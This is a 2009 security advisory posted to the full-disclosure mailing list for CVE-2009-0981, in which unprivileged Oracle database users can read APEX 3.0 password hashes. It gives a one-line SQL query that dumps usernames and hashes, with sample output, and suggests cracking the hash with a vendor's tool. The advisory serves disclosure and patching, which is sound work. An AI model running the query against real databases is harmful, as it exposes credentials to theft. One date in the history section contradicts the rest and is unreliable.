full-disclosure - Unprivileged DB users can see APEX password hashes [CVE-2009-0981]

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Message-Id: <F3D44DE0-00E0-43D6-8446-4CD70041896C@red-database-security.com>
Date: Thu, 16 Apr 2009 07:51:11 +0200
From: Alexander Kornbrust <ak@...-database-security.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Unprivileged DB users can see APEX password
	hashes [CVE-2009-0981]

Unprivileged DB users can see APEX password hashes [CVE-2009-0981]

Name                      Unprivileged DB users can see APEX password  
hashes
Systems Affected  APEX 3.0 (optional component of 11.1.0.7 installation)
Severity                   High Risk
Category                 Password Disclosure
Vendor URL           http://www.oracle.com/
Author                     Alexander Kornbrust
CVE                         CVE-2009-0981
Advisory                 14 April 2009 (V 1.00)

Details:
Unprivileged database users can see APEX password hashes in  
FLOWS_030000.WWV_FLOW_USER.

SQL> select user_name,web_password2 from FLOWS_030000.WWV_FLOW_USERS

USER_NAME    WEB_PASSWORD2
---------------------------------------------------------------------------
YURI         141FA790354FB6C72802FDEA86353F31

This password hash can be checked using a tool like Repscan.

Additional information is available in the following advisory.

Advisory:
http://www.red-database-security.com/advisory/apex_password_hashes.html

Patch Information:
Upgrade to Oracle APEX 3.2.

Verification:
Our Oracle database scanner Repscan was updated with the information  
from the Oracle
CPU April 2009 and can identify vulnerable databases.
More Information about Repscan can be found here:
http://www.sentrigo.com/repscan

History:
13-jan-2009 Oracle published CPU April 2009 [CVE-2009-0981]
14-apr-2009 Oracle published CPU April 2009 [CVE-2009-0981]
14-apr-2009 Advisory published

About Red-Database-Security:
Red-Database-Security is the leading company for Oracle security.  
Within the last
6 years we reported several hundred vulnerabilities to Oracle.

--
(c) 2009 by Red-Database-Security GmbH
http://www.red-database-security.com

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